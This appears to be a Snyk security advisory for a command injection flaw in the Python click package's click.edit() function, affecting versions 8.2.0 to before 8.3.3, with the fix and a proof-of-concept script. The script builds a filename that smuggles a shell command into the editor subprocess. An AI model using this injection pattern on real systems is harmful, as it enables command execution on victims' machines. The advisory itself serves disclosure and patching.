Command Injection Affecting click package, versions [8.2.0,8.3.3)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.03% (8th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-CLICK-16347201
  • published3 May 2026
  • disclosed30 Apr 2026
  • creditgokussj,Constantinos Patsakis

Introduced: 30 Apr 2026

NewCVE-2026-7246  (opens in a new tab)
CWE-78  (opens in a new tab)

How to fix?

Upgrade click to version 8.3.3 or higher.

Overview

Affected versions of this package are vulnerable to Command Injection via the filename parameter passed to edit_files() function via click.edit(). This function invokes a subprocess with shell=True that can be injected into by including double-quoted strings in a malicious filename. An attacker who can convince a user to follow a malicious link can cause OS commands to be executed.

PoC

#!/usr/bin/env python3
import os
import subprocess
import click

def main():
    marker_file = "click_pwned_marker"
    malicious_filename = f'clickpoc"; touch {marker_file}; echo "'
    print(f"[*] Malicious filename: {malicious_filename}")

    try:
        subprocess.run(['touch', malicious_filename], check=True)
        print(f"[+] File exists: {os.path.exists(malicious_filename)}")
    except Exception as e:
        print(f"[-] Failed to create file: {e}")
        return

    try:
        result = click.edit(filename=malicious_filename, editor='true')
        print(f"[*] click.edit() returned: {result}")
    except Exception as e:
        print(f"[!] Exception: {e}")
    finally:
        if os.path.exists(malicious_filename):
            os.remove(malicious_filename)

    if os.path.exists(marker_file):
        print(f"[+] SUCCESS: marker file '{marker_file}' was created by the injected command.")
    else:
        print("[-] Marker file NOT created.")

if __name__ == "__main__":
    main()

CVSS Base Scores

version 4.0
version 3.1